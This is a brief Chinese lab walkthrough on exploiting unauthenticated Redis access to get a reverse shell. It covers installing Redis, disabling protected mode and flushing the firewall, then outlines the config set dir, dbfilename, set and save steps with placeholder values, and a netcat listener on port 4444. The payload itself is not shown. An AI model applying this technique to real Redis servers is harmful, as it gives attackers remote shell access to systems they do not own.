如何通过redis未授权访问漏洞反弹shell

如何通过redis未授权访问漏洞反弹shell
1.搭建redis服务器和客户端
我用centos作为靶机,用kali作为攻击方来进行实验。

 下载,解压,编译:

$ wget http://download.redis.io/releases/redis-4.0.10.tar.gz
$ tar xzf redis-4.0.10.tar.gz
$ mv redis-4.0.10 /usr/local/redis
$ cd /usr/local/redis
$ make

 创建服务

二进制文件是编译完成后在src目录下,客户端是/usr/local/redis/src/redis-cli,服务器是/usr/local/redis/src/redis-server。下面为这两个文件做软链接。
$ ln -s /usr/local/redis/src/redis-cli /usr/bin/redis
$ ln -s /usr/local/redis/src/redis-server /usr/bin/redisd

 测试是否成功安装

$ redis --version
redis-cli 4.0.10
$ redisd --version
Redis server v=4.0.10 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=e53a76b77e60d5b0

至此,表明你的redis已经安装完毕。

启动服务

redisd /usr/local/redis/redis.conf

注:攻击方也这样安装,但不用启动服务

2.配置远程登录
打开/usr/local/redis/redis.conf 配置文件

注释bing 127.0.0.1
设置 protected-mode “no”
设置daemonize “no”
做完这一步之后可尝试使用客户端进行连接出现了no route to host的现象(互相可以ping通),于是在靶机输入如下命令:iptables -F
使用kali连接,可以未授权访问。
如何通过redis未授权访问漏洞反弹shell
3.nc反弹shell

如何通过redis未授权访问漏洞反弹shell
config set dir xxx 将redis备份数据库设为xxx
config set dbfilename xxx 将数据文件设为xxx
set xxx 在文件里写入xxx
save 保存
之后使用kali监听的4444端口可看到反弹的shell。